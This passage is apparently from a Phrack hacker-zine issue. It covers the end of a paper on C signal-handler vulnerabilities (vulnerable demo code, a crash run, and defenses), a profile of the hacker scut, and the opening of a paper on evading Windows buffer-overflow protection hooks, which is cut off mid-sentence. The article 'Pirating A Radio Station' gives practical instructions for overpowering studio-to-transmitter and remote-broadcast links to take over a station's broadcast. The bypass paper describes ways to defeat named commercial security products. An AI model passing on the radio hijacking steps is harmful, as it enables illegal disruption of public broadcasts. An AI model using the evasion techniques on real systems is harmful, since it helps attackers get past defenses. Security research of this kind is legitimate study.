        printf("Ctrl-C caught!\n");
        printf("UID: %d\n", getuid());
        /* other cleanup code... */
}

int showuid() {
        printf("UID: %d\n", getuid());
        return(0);
}


int main() {
        int origuid = getuid();
        signal(SIGINT, sighndlr);


        setuid(0);
        sleep(5);

        setuid(origuid);

        showuid();
        return(0);
}
--- EOF ---
```

The above program should immediately spark up any security concious programmer's paranoia, but the insecurity isn't immediately obvious to everyone. As we can see from above, a signal handler is declared for 'SIGINT', and the program gives itself root privileges (so to speak). After a delay of around five seconds, the privileges are revoked, and the program is exited with success. However, if a SIGINT signal is received, execution is directed to the SIGINT handler, 'sighdlr()'.

Let's look at some sample outputs:

```
--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# chmod +s test
[root@localhost shaun]# exit
exit
[shaun@localhost shaun]$ ./test
[... program sleeps 5 seconds ...]
UID: 502
[shaun@localhost shaun]$ ./test
[... CTRL-C is typed ...]
Ctrl-C caught!
UID: 0
UID: 502
[shaun@localhost shaun]$
--- EOF ---
```

If you hadn't spotted the insecurity in 'atomicvuln.c' yet, the above output should make things obvious; since the signal handling routine, 'sighdlr()', was called when root privileges were still possessed, the friendly printf() statements kindly tell us that our privileges are root (assuming the binary is

SUID root). And just to prove our theory, if we simply allow the program to sleep for 5 seconds without sending an interrupt, the printf() statement kindly tells us that our UID is 502 - my actual UID - as seen above.

With this, it is easy to understand where the flaw lies; if program execution can be interrupted between the time when superuser privileges are given, and the time when superuser privileges are revoked, the signal handling code *will* be ran with root privileges. Just imagine - if the signal handling routine included potentially sensitive code, compromisation of root privileges could occur.

Although the sample program isn't an example of privilege escalation, it at least demonstrates how non-atomic modifications can present security issues when signal handling is involved. And do not assume that code similar to the sample program above isn't found in popular security critical applications in wide-spread use - it is. An example of vulnerable code similar to that of above which is an application in wide-spread use, see [1] in the bibliography.

Non-reentrant Code
###################

Although it may not be obvious (and it's not), some glibc functions just weren't designed to be reentered due to receipt of a signal, thus causing potential problems for signal handlers which use them. An example of such a function is the 'free()' function. According to 'free()'s man page, free()

"frees the memory space pointed to by ptr, which must have been
 returned by a previous call to malloc(), calloc() or realloc(). Other-
 wise, or if free(ptr) has already been called before, undefined
 behaviour occurs. If ptr is NULL, no operation is performed."

As the man page snippet claims, free() can only be used to release memory which was allocated using 'malloc()', else "undefined behavior" occurs. More specifically, or in usual cases, the heap is corrupted, if free() is called on a memory area which has already been free()d. Because of this implementation design, reentrant signal routines which use 'free()' can be attacked.

Consider the below sample vulnerable program:

```
--- reentry.c ---
#include <stdio.h>
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>

void *data1, *data2;
char *logdata;

void sighdlr() {
        printf("Entered sighdlr()...\n");
        syslog(LOG_NOTICE,"%s\n", logdata);
        free(data2);
        free(data1);
        sleep(10);
        exit(0);
}

int main(int argc, char *argv[]) {
          logdata = argv[1];
          data1 = strdup(argv[2]);
          data2 = malloc(340);
          signal(SIGHUP, sighdlr);
          signal(SIGTERM, sighdlr);
          sleep(10);

          /* should never reach here */
          return(0);
}
--- EOF ---
```

The above program defines a signal handler which frees allocated heap memory, and sleeps for around 10 seconds. However, once the signal handler has been entered, signals are not blocked, and thus can still be freely delivered. As we learnt above, a duplicate call of free() on an already free()d memory area will result in "undefined behavior" - possibly corruption of the heap memory. As we can see, user-defined data is taken, and syslog() is also called fromo the sig handler function - but how does syslog() work? 'syslog()' creates a memory buffer stream, using two malloc() invokations - the first one allocates a 'stream description structure', whilst the other creates a buffer suitable for the actual syslog message data. This basis is essentially used to maintain a tempory copy of the syslog message.

But why can this cause problems in context of co-usage of non-reentrant routines? To find the answer, let's experiment a little, by attempting to exploit the above program, which happens to be vulnerable.

```
--- output ---
[shaun@localhost shaun]$ ./test `perl -e 'print
"a"x100'` `perl -e 'print
"b"x410'` & sleep 1 ; killall -HUP test ; sleep 1 ;
killall -TERM test
[1] 2877
Entered sighdlr()...
Entered sighdlr()...
[1]+  Segmentation fault      (core dumped) ./test
`perl -e 'print "a"x100'`
`perl -e 'print "b"x410'`
[shaun@localhost shaun]$ gdb -c core.2877
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General
Public License, and you are
welcome to change it and/or distribute copies of it
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show
warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
Core was generated by `./test
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x4008e9bb in ?? ()
(gdb) info reg
eax            0x61616161       1633771873
ecx            0x40138680       1075021440
edx            0x6965fa38       1768290872
ebx            0x4013c340       1075036992
esp            0xbfffeccc       0xbfffeccc
ebp            0xbfffed0c       0xbfffed0c
esi            0x80498d8        134519000
edi            0x61616160       1633771872
eip            0x4008e9bb       0x4008e9bb
eflags         0x10206  66054
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
fctrl          0x0      0
fstat          0x0      0
ftag           0x0      0
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
---Type <return> to continue, or q <return> to quit---
```

```
fop            0x0      0
xmm0           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm1           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm2           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm3           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm4           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm5           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm6           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm7           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
mxcsr          0x0      0
orig_eax       0xffffffff       -1
(gdb) quit
[shaun@localhost shaun]$
--- EOF ---
```

Interesting. As we can see above, our large string of 'a's has found its way
into several program registers on stack - EAX and EDI. From this, we can
assume we are witnessing the "undefined behavior" we discussed earlier, when
the signal handler is reentered.

When the sample vulnerable program receives the second signal (SIGTERM), since
signals are not being ignored, the signal handler is reentered to handle this
second signal, causing something to go very wrong.
But why is this happening?

Since the second memory region (*data2) was free()d during the first entry of
the signal handler, syslog() re-uses this released memory for its own
purposes - storing its syslog message, because as the short syslog()
explanation above stated, two malloc() calls are present in most syslog()
implementations, and thus it re-uses the newly free()d memory - *data2.
After the usage of the memory once held as data2 by syslog(), a second
'free()' call is made on the memory region, because of reentry of the signal
handler function. As the free(3) man page stated, undefined behavior *will*
occur if the memory area was already free()d, and we happen to know that this
was the case. So when 'free()' was called again on *data2, free() landed
somewhere in the area containing the 'a's (hence 0x61 in hex), because
syslog() had re-used the freed area to store the syslog message, temporarily.

As the GDB output above illustrates, as long as user-input is used by
'syslog()' (and it is in this case), we have some control over the program
registers, when this "undefined behavior" (corruption of heap in most
cases) occurs. Because of this ability, exploitation is most likely a
possibility - it is left as an exercise to the reader to play with this sample
vulnerable program a little more, and determine if the vulnerability is
exploitable.

For the interested reader, 'free()' is not the only non-reentrant glibc
function. In general, it can be assumed that all glibc functions which are NOT
included within the following list are non-reentrant, and thus are not safe to
be used in signal handlers.

```
--
           _exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3),
           cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2),
           close(2), creat(3), dup(2), dup2(2), execle(3), execve(2),
           fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2),
           geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2),
           getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2),
           mkfifo(2), open(2), pathconf(2), pause(3), pipe(2), raise(3),
           read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2),
           setuid(2), sigaction(2), sigaddset(3), sigdelset(3),
           sigemptyset(3), sigfillset(3), sigismember(3), signal(3),
           sigpause(3), sigpending(2), sigprocmask(2), sigsuspend(2),
           sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3),
           tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3),
           tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2),
           utime(3), wait(2), waitpid(2), write(2)."

--
```

Secure Signal Handling
#######################

In general, signal handling vulnerabilities can be prevented by

--

1) Using only reentrant glibc functions within signal handlers -

This safe-guards against the possibility of "undefined behavior" or otherwise as presented in the above example. However, this isn't *always* feasible, especially when a programmers needs to accomplish tasks such as freeing memory.

Other counter-measures, in this case, can protect against this. See below.

2) ignoring signals during signal handling routines -

As the obvious suggests, this programming practice will indefinately prevent handling of signals during the execution of signal handling routines, thus preventing signal handler reentry.

Consider the following signal handler template:

```
--- sighdlr.c ---
void sighdlr() {
        signal(SIGINT, SIG_IGN);
        signal(SIGABRT, SIG_IGN);
        signal(SIGHUP, SIG_IGN);
        /* ...ignore other signals ... */

        /* cleanup code here */

        exit(0);
}
--- EOF ---
```

As we can see above, signals are blocked before doing anything else in the signal handling routine. This guarantees against signal handler reentry (or almost does).

3) Ignoring signals whilst non-atomic process modifications are in place -

This involves blocking signals, in a similar way to the above code snippet, during the execution of code with non-atomic modifications in place, such as code execution with superuser privileges.

Consider the following code snippet:

```
--- nonatomicblock.c ---
/* code exec with non-atomic process modifications
starts here... */
signal(SIGINT, SIG_IGN);
signal(SIGABRT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
/* block other signals if desired... */

setuid(0);
/* sensitive code here */

setuid(getuid());
/* sensitive code ends here */

signal(SIGINT, SIG_DFL);
signal(SIGABRT, SIG_DFL);
signal(SIGHUP, SIG_DFL);
```

```
/* ...code here... */
--- EOF ---
```

Before executing privileged code, signals are blocked. After execution of the privileged code, privileges are dropped, and the signal action is set back to the default action.

There are probably more ways of preventing signal vulnerabilities, but the three above should be enough to implement semi-safe signal handlers.

Conclusion
###########

I hope this paper has at least touched upon possible problems encountered when dealing with signals in C applications. If nothing else can be taken away from this paper, my aim is to have outlined that secure programming practices should always be applied when implementing signal handlers.
Full stop. Remember this.

If I have missed something out, given inaccurate information, or otherwise, please feel free to drop me a line at the email address at the top of the paper, providing your comments are nicely phrased.

Recommended reading is presented in the Bibliography below.

Bibliography
#############

Recommended reading material is:

--
"Delivering Signals for Fun and Profit" -
http://razor.bindview.com/publish/papers/signals.txt,
Michal Zalewski. Michal's

paper was a useful resource when writing this paper, and many ideas were gained from this paper. Thanks Michal.

"Introduction To Unix Signals Programming" -
http://users.actcom.co.il/~choo/lupg/tutorials/signals/signals-programming.html,LUGPs.

"Procmail insecure signal handling vulnerability" -
http://xforce.iss.net/xforce/xfdb/6872

"Traceroute signal handling vulnerability" -
http://lwn.net/2000/1012/a/traceroute.php3

"signal(2) man page" -
http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man2/signal.2.html&srch=signal

"signal(7) man page" -
http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man7/signal.7.html&srch=signal

--

Greets
#######

Greets to:

--
Friends at HDC (or former HDC members), excluded.org,

#hackcanada, all @ GSO,
rider (happy be-lated birthday!).

All the other great people that I have met online.
--

Thanks guys.

Thank you for your time.
Shaun.

```
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|

|=------------------=[ Pirating A Radio Station ]=----------------------=|
                       by j kuinga" <kuinga@hotmail.com>
```

At many Radio Stations to cut costs they now do what is called "central casting." This is where many feeds are produced from one building and handled by a group of engineers.

Why is this important? You could, disrupt the broadcast from the Central Site, to the tower site, and create your own programming, without the hassles of buying a transmitter, getting the FCC licensing, and that type of thing. We're showing you two different ways to have some fun--by interrupting remote broadcasts, and by overtaking the radio station.

Radio Stations typically have Martis which are mini-transmitters, and Marti Repeaters, typically in the 425-455 MHz Range. Some Ham Transmitters will work in this range, and if not, check your local radio surplus store.

Martis are typically used to rebroadcast High School Football and basketball games, as well as commercial "live events" and its something as simple as over-powering the signal, in order to get your message through. Be forewarned, there typically is a live person on the other end of that transmitterXtheyre probably not paying attention, because theyre getting paid $5.50/hourXbut, they have they ability to turn you off.

How to find the frequency? Well, you could always SE the engineer at the station and ask, however, most of them are grumpy old radio buffs, so you might not get anywhere. I suggest a good copy of Police Call, which has a LOT of frequencies in there for things like radio stations.

I use a home-made setup for finding particular frequencies out. Having some essential tools like a good, directional antenna, frequency counter, and very accurate transmitter, along with breadboard and essential components, typically are common in finding what you need to know. I also drive a Big White Van, complete with Mast and Bucket, so I can optimally 'place' the antenna at the right height and direction, that I obtained at a school auction for reallly cheap. (e.g., under $500, even had 18" racks in it and a nice generator)

Most Radio Stations doing this have what they call a STL, or Studio to Transmitter Link. This is typically in the 800 or 900 Mhz range, and the same, general ideas apply. You find the general direction in which the antenna is pointed, then you overpower the signal. Since you (idealistically) would be within a few miles of the transmitter, not 30 or 50 miles like the Central-Casting spot, you would overpower the transmitter, and start your own pirate radio station. Most stations however, have an Air monitor, and can turn the remote transmitter off by pressing a button on their STL. However, if youre closer to it, youve got control until the station engineer comes down to manually pull the plug on your transmitter.

If you see black vans with antennas and they look like they're doing sweeps, chances are, they're either a) with the audit crew of the local cable company, or b) looking for your ass.

kuinga@hotmail.com

```
|=[ EOF ]=---------------------------------------------------------------=|
phrack.org:~# cat .bash_history

                             ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x04 of 0x10

|=---------------=[ P R O P H I L E   O N   S C U T ]=------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=-----------------------------=|

|=---=[ Specification

                  Handle: scut
                     AKA: "The Tower"
          Handle origin: Result of spelling "SCUD rocket" as a 12 year
                          old when making up a handle
              catch him: by email scut@segfault.net
         Age of your body: 23
             Produced in: West Germany
         Height & Weight: 198cm, 85kg
                    Urlz: segfault.net/~scut/
               Computers: COTS, anything goes ;)
               Member of: TESO
                Projects: exploitation methods, low level architecture
                          wrangling, code analysis and transformation

|=---=[ Favorite things


           Women: intelligent, humorous, self-confident and caring
            Cars: BMW = fast, functional and reliable
           Foods: Chinese, German cake
         Alcohol: Mixed drinks (Tequila + *), white wine
           Music: U2, 60-70'ies, ambient, new age
          Movies: Leon, Matrix
Books & Authors: I dislike fiction, various scientific books
            Urls: phrack.org/ ;-), citeseer.ist.psu.edu/directory.html
          I like: digging some problem to the deepest level
       I dislike: unjustified authorities, arrogance, ignorance

|=---=[ Life in 3 sentences

Born 1980, I just lived a normal peaceful life in Germany. Finished school,
high school quite well, went to the military service, started studying.
Currently I am studying abroad and thats possibly the most exciting experience
so far ;-)

|=---=[ Passions | What makes you tick

To create. In anything I do, I enjoy creating something and deepen my
understanding of it. Somehow, however, I lose interest as soon as I think I
could understand something completely, but that it would take too much effort.

|=---=[ Which research have you done or which one gave you the most fun?

Looking back on the few things I have done, I think it was always fun to
tickle people intellectually. The most fun was writing burneye, a simple
runtime binary encryption program. I learned lots while doing it and it had
some minor impact aswell. Also I wrote a paper about format string
vulnerabilities. This was fun to write and back at that time everybody was
very curious about this newly discovered class of security vulnerabilities.
The basic work was already done and it was fun just to make a few steps
further. While its always the case that you have to base your work on someone
else's, sometimes you get the feeling of doing something truly new or
creative. Then, its always fun.


|=---=[ Memorable Experiences

CCCamp 1999, when all TESO members first met eye-to-eye and where we had lots
```

of fun together. Meeting interesting people, such as some of the ADM folks.

All the CCC congresses and all the fun that comes with them: friends, beer, and new contacts. Meeting the THC guys, having beer with wilkins and plasmoid.

|=---=[Quotes

"The purpose of computing is insight, not numbers." - Richard W. Hamming

|=---=[Open Interview - General boring questions

Q: When did you start to play with computers?
A: Due to my father working in the computing field I was lucky to first tap some keys at the age of six, around 1985. First hooked up through games I quickly liked the idea to control the machine myself and was fascinated to write my first BASIC program on the C64 when I was nine. This fascination has not decreased ever since, though the languages and computers changed a lot ;-)

Q: When did you had your first contact to the 'scene'?
A: As many of todays people in the hacking scene, the natural path leads through the warez and cracking realms. In 1995 I was browsing some BBS's and thats how I was drawn into that scene. Then, in the following two years, I moved away from Windows/Warez to more Linux/Programming, and more or less by end of 1997 I was completely into this thing.

Q: When did you for your first time connect to the internet?
A: Through the German Telekom BTX internet gateway, that must have been 1995.

Q: What other hobbies do you have?
A: Martial arts (currently Sanda Wushu, previously some Muaythai) and other sports, having fun with friends. Learning Chinese.

Q: ...and how long did it take until you joined irc? Do you remember
   the first channel you joined?
A: #warez.de in 1996 on IrcNet.

Q: What's your architecture / OS of choice?
A: IA32 with Debian/sid. Its constantly updated, the packagers know their stuff and its a system by and for developers. I love it.

|=---=[Open Interview - More interesting questions

Q: Who founded TESO and what's the meaning of the name?
A: TESO was founded in 1998 by typo, edi, stanly and oxigen, some austrian hackers.

Q: What's TESO up to these days?
A: I would like to describe us as not active anymore. There are a couple of reasons for this. One is the natural shift of interest of members, such as when growing up and having a daytime job. But more importantly, the most previously most active members do not release their work under the TESO label anymore. Sometime ago, we also had internal trust problems where we did not know who leaked our internal stuff. This lead to general distrust and some developing stopped or slowed due to that. Sad thing.

Q: You have helped phrack in many occasions. What do you think about Phrack?
   What suggestions do you have for phrack?
A: I think phrack is the single best starting point for anyone seriously interested in learning how to become a real low level hacker. One could start ten issues in the past and gradually sharpen the skills to almost the today's cutting edge. The style, quality and focus of the articles is very diverse and always makes for an interesting read.

   In the past year, Phrack started to work closer with the authors of the articles to produce higher quality articles for the readers. This is a great idea! Maybe further steps into this direction could follow.

   For the article topics, I personally would like to see more articles on upcoming technologies to exploit, such as SOAP, web services, .NET, etc.

Q: What are you up to these days? How has the scene-life influenced your
   lifestyle, goals and personality?
A: Nowadays, I am more of a computer science student than a scene member. The
scene did not change me so much. Its a great place to meet intelligent people
and to discuss new ideas.

Q: You have been in the scene for quite a while. If you look back, what
   was the worst thing that happened to the scene? What was the best
   that happened?
A: The worst was a bad long term development with an even worse backlash: the
commercialization of the network security field. When the Internet really
boomed, everybody was out to make a buck from selling security related
products and services. A lot of former hackers "sold out". While its their
personal choice to work in the security business and such business is not
necessarily evil, for the scene it wasn't all that great.
   The worse result has been the gap between once united hackers. Some people
drew a more or less arbitrary line of black-/whitehatism and started dividing
the scene even further. The result you can see nowadays is that there are some
separated groups in the scene piling up non public knowledge, while the "entry
level skill" required to really be in the scene is increased and less people
get into the scene. Those knowledgeable groups still have "whitehats" among
their members, but nobody cares, because for the group it just works well and
everybody within wins. On a wider scale, everybody loses and the cooperation
and development of really creative new stuff is slowed and the scene shrinks.
   Fresh talented people wanting to get into the scene have no choice but to
found their own teams.

The best thing for the scene were and still are the hacker events organized
all around the world. They are a great contact point of the hackers and to the
outside world.

Q: If you could turn the clock backwards, what would you do different
   in your young life ?
A: Be more relaxed about people posting my stuff although I did not wanted it
to be public. It just caused trouble for everybody and in the end its more
a fault on my side than on theirs.

=---=[One word comments

[give a 1-word comment to each of the words on the left]

IRC	: timeconsumptive
TESO	: dreamteam
ADM	: pioneers
Hacker meetings	: melting-pot
Whitehats	: do not always wear white hats
Blackhats	: do not always wear black hats

|=---=[Please tell our audience a worst case scenario into what the scene
        might turn into.

The extension to the bad development that already took place and I described
in an earlier answer would include more company driven actions and sell outs.
Possibly the worst long term thing for the scene would be a decrease in the
scene's lose "infrastructure", such as magazines and conferences. This could
be the result of stricter laws against hackers and already takes place in some
countries. Imagine if the typical hacker conferences would be outlawed or
strictly observed. Imagine when magazines such as Phrack would be shutdown.
Imagine if groups like THC and websites like Packetstorm would be shutdown.
That would be a bad development.

|=---=[And if everything works out fine? What's the best case scenario
        you can imagine?

The scene would be driven by discussions, new inventions, creative hacking

```
stunts and a large number social events. Hackers would stick closer together,
yet share more of their work, yet allowing newcomers to learn. People would
not crawl for fame on mailing lists but would honestly respect each other.

  To archieve this ideal, things that unite all hackers have to be valued
more. All hackers share the enthusiasm for technology and creativity.
Creativity is seldomly the result of sitting alone in a locked down room, but
quite the opposite the result of many diverse ideas and discussions among
intelligent people. If the environment hackers interact with each others in
permits for exchange of ideas without getting ripped off by companies or other
hackers, this would result in a great scene.


|=---=[ Any suggestions/comments/flames to the scene and/or specific people?

I think some young talents are really doing a great job. Keep going!


|=---=[ Shoutouts & Greetings

hendy, for being a long time trustable, reliable and humorous friend.
stealth, die andere Nase, for intellectual challenges and always coming up
  with really cool stuff.
Halvar, skyper, gamma for making the hacker events real fun and organizing
  everything.
lorian, for being a smart guy.
acpizer, for his wisdom and stubborness.
The folks at THC and ADM for doing really cool stuff.

|=[ EOF ]=---------------------------------------------------------------=|
                              ==Phrack Inc.==

               Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10
```

```
|=---------------------------------------------------------------------=|
|=------=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=-------=|
|=---------------------------------------------------------------------=|
|=---------------=[ anonymous <p62_wbo_a@author.phrack.org ]=--------------=|
|=---------------=[ Jamie Butler <james.butler@hbgary.com> ]=--------------=|
|=---------------=[ anonymous <p62_wbo_b@author.phrack.org ]=--------------=|
```

--[Contents

```
  1 - Introduction

  2 - Stack Backtracing

  3 - Evading Kernel Hooks

    3.1 - Kernel Stack Backtracing

    3.2 - Faking Stack Frames

  4 - Evading Userland Hooks

    4.1 - Implementation Problems - Incomplete API Hooking

          4.1.1 - Not Hooking all API Versions
          4.1.2 - Not Hooking Deeply Enough
          4.1.3 - Not Hooking Thoroughly Enough

    4.2 - Fun With Trampolines

          4.2.1 Patch Table Jumping
          4.2.2 Hook Hopping

    4.3 - Repatching Win32 APIs

    4.4 - Attacking Userland Components

          4.4.1 IAT Patching
          4.4.2 Data Section Patching

    4.5 - Calling Syscalls Directly

    4.6 - Faking Stack Frames

  5 - Conclusions
```

--[1 - Introduction

Recently, a number of commercial security systems started to offer
protection against buffer overflows. This paper analyzes the protection
claims and describes several techniques to bypass the buffer overflow
protection.

Existing commercial systems implement a number of techniques to protect
against buffer overflows. Currently, stack backtracing is the most popular
one. It is also the easiest to implement and the easiest to bypass.

Several commercial products such as Entercept (now NAI Entercept) and
Okena (now Cisco Security Agent) implement this technique.

--[2 - Stack Backtracing

Most of the existing commercial security systems do not actually prevent buffer overflows but rather try to attempt to detect the execution of shellcode.

The most common technology used to detect shellcode is code page permission checking which involves checking whether code is executing on a writable page of memory. This is necessary since architectures such as x86 do not support the non-executable memory bit.

Some systems also perform additional checking to see whether code's page of memory belongs to a memory mapped file section and not to an anonymous memory section.

```
        [-----------------------------------------------------------]

                page = get_page_from_addr( code_addr );
                if (page->permissions & WRITABLE)
                        return BUFFER_OVERFLOW;

                ret = page_originates_from_file( page );
                if (ret != TRUE)
                        return BUFFER_OVERFLOW;

        [-----------------------------------------------------------]
```

Pseudo code for code page permission checking

Buffer overflow protection technologies (BOPT) that rely on stack backtracing don't actually create non-executable heap and stack segments. Instead they hook the OS and check for shellcode execution during the hooked API calls.

Most operating systems can be hooked in userland or in kernel.

Next section deals with evading kernel hooks, while section 4 deals with bypassing userland hooks.

--[3 - Evading Kernel Hooks

When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must be able to detect where a userland API call originated. Due to the heavy use of kernel32.dll and ntdll.dll libraries, an API call is usually several stack frames away from the actual syscall trap call. For this reason, some intrusion preventions systems rely on using stack backtracing to locate the original caller of a system call.

----[3.1 - Kernel Stack Backtracing

While stack backtracing can occur from either userland or kernel, it is far more important for the kernel components of a BOPT than its userland components. The existing commercial BOPT's kernel components rely entirely on stack backtracing to detect shellcode execution. Therefore, evading a kernel hook is simply a matter of defeating the stack backtracing mechanism.

Stack backtracing involves traversing stack frames and verifying that the return addresses pass the buffer overflow detection tests described above. Frequently, there is also an additional "return into libc" check, which involves checking that a return address points to an instruction immediately following a call or a jump. The basic operation of stack backtracing code, as used by a BOPT, is presented below.

```
        [-----------------------------------------------------------]

                while (is_valid_frame_pointer( ebp )) {
                        ret_addr = get_ret_addr( ebp );
                        if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
                                return BUFFER_OVERFLOW;

                        if (does_not_follow_call_or_jmp_opcode(ret_addr))
                                return BUFFER_OVERFLOW;

                        ebp = get_next_frame( ebp );
                }

        [-------------------------------------------------------------]
                   Pseudo code for BOPT stack backtracing
```

When discussing how to evade stack backtracing, it is important to
understand how stack backtracing works on an x86 architecture. A typical
stack frame looks as follows during a function call:

```
        :                          :
        |--------------------------|
        | function B parameter #2  |
        |--------------------------|
        | function B parameter #1  |
        |--------------------------|
        |    return EIP address    |
        |--------------------------|
        |        saved EBP         |
        |==========================|
        | function A parameter #2  |
        |--------------------------|
        | function A parameter #1  |
        |--------------------------|
        |    return EIP address    |
        |--------------------------|
        |        saved EBP         |
        |--------------------------|
        :                          :
```

The EBP register points to the next stack frame. Without the EBP register
it is very hard, if not impossible, to correctly identify and trace
through all the stack frames.

Modern compilers often omit the use of EBP as a frame pointer and use it
as a general purpose register instead. With an EBP optimization, a stack
frame looks as follows during a function call:

```
        |------------------------|
        | function parameter #2  |
        |------------------------|
        | function parameter #1  |
        |------------------------|
        |   return EIP address   |
        |------------------------|
```

Notice that the EBP register is not present on the stack. Without an EBP
register it is not possible for the buffer overflow detection technologies
to accurately perform stack backtracing. This makes their task incredibly
hard as a simple return into libc style attack will bypass the protection.
Simply originating an API call one layer higher than the BOPT hook defeats
the detection technique.

----[3.2 - Faking Stack Frames

Since the stack is under complete control of the shellcode, it is possible
to completely alter its contents prior to an API call. Specially crafted
stack frames can be used to bypass the buffer overflow detectors.

As was explained previously, the buffer overflow detector is looking for
three key indicators of legitimate code: read-only page permissions,
memory mapped file section and a return address pointing to an instruction
immediately following a call or jmp. Since function pointers change

calling semantics, BOPT do not (and cannot) check that a call or jmp
actually points to the API being called. Most importantly, the BOPT cannot
check return addresses beyond the last valid EBP frame pointer
(it cannot stack backtrace any further).

Evading a BOPT is therefore simply a matter of creating a "final" stack
frame which has a valid return address. This valid return address must
point to an instruction residing in a read-only memory mapped file section
and immediately following a call or jmp. Provided that the dummy return
address is reasonably close to a second return address, the shellcode can
easily regain control.

The ideal instruction sequence to point the dummy return address to is:

```
        [-----------------------------------------------------------]

                        jmp     [eax] ; or call [eax], or another register
        dummy_return:   ...           ; some number of nops or easily
                                      ; reversed instructions, e.g. inc eax
                        ret           ; any return will do, e.g. ret 8

        [-----------------------------------------------------------]
```

Bypassing kernel BOPT components is easy because they must rely on user
controlled data (the stack) to determine the validity of an API call. By
correctly manipulating the stack, it is possible to prematurely terminate
the stack return address analysis.

This stack backtracing evasion technique is also effective against
userland hooks (see section 4.6).

--[4 - Evading Userland Hooks

Given the presence of the correct instruction sequence in a valid region
of memory, it is possible to trivially bypass kernel buffer overflow
protection techniques. Similar techniques can be used to bypass userland
BOPT components. In addition, since the shellcode executes with the same
permissions as the userland hooks, a number of other techniques can be
used to evade the detection.

----[4.1 - Implementation Problems - Incomplete API Hooking

There are many problems with the userland based buffer overflow protection
technologies. For example, they require the buffer overflow protection
code to be in the code path of all attacker’s calls or the shellcode
execution will go undetected.

Trying to determine what an attacker will do with his or her shellcode
a priori is an extremely hard problem, if not an impossible one. Getting
on the right path is not easy. Some of the obstacles in the way include:

a. Not accounting for both UNICODE and ANSI versions of a Win32 API
   call.

b. Not following the chaining nature of API calls. For example,
   many functions in kernel32.dll are nothing more than wrappers for
   other functions within kernel32.dll or ntdll.dll.

c. The constantly changing nature of the Microsoft Windows API.

--------[4.1.1 - Not Hooking All API Versions

A commonly encountered mistake with userland API hooking
implementations is incomplete code path coverage. In order for an API
interception based products to be effective, all APIs utilized by
attackers must be hooked. This requires the buffer overflow protection

technology to hook somewhere along the code path an attacker _has_ to
take. However, as will be shown, once an attacker has begun executing
code, it becomes very difficult for third party systems to cover all
code paths. Indeed, no tested commercial buffer overflow detector actually
provided an effective code path coverage.

Many Windows API functions have two versions: ANSI and UNICODE. The ANSI
function names usually end in A, and UNICODE functions end in W because
of their wide character nature. The ANSI functions are often nothing
more than wrappers that call the UNICODE version of the API. For example,
CreateFileA takes the ANSI file name that was passed as a parameter and
turns it into an UNICODE string. It then calls CreateFileW. Unless a
vendor hooks both the UNICODE and ANSI version of the API function, an
attacker can bypass the protection mechanism by simply calling the other
version of the function.

For example, Entercept 4.1 hooks LoadLibraryA, but it makes no attempt
to intercept LoadLibraryW. If a protection mechanism was only going to
hook one version of a function, it would make more sense to hook the
UNICODE version. For this particular function, Okena/CSA does a better
job by hooking LoadLibraryA, LoadLibraryW, LoadLibraryExA, and
LoadLibraryExW. Unfortunately for the third party buffer overflow
detectors, simply hooking more functions in kernel32.dll is not enough.

--------[4.1.2 - Not Hooking Deeply Enough

In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many
buffer overflow detection products do not hook functions within ntdll.dll.
This simple error is similar to not hooking both the UNICODE and ANSI
versions of a function. An attacker can simply call the ntdll.dll directly
and completely bypass all the kernel32.dll "checkpoints" established by a
buffer overflow detector.

For example, NAI Entercept tries to detect shellcode calling
GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten
to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the
same goal, and at the same time never pass through the NAI Entercept hook.

Similarly, shellcode can completely bypass userland hooks altogether and
make system calls directly (see section 4.5).

--------[4.1.3 - Not Hooking Thoroughly Enough

The interactions between the various different Win32 API functions is
byzantine, complex and difficult to understand. A vendor must make only
one mistake in order to create a window of opportunity for an attacker.

For example, Okena/CSA and NAI Entercept both hook WinExec trying to
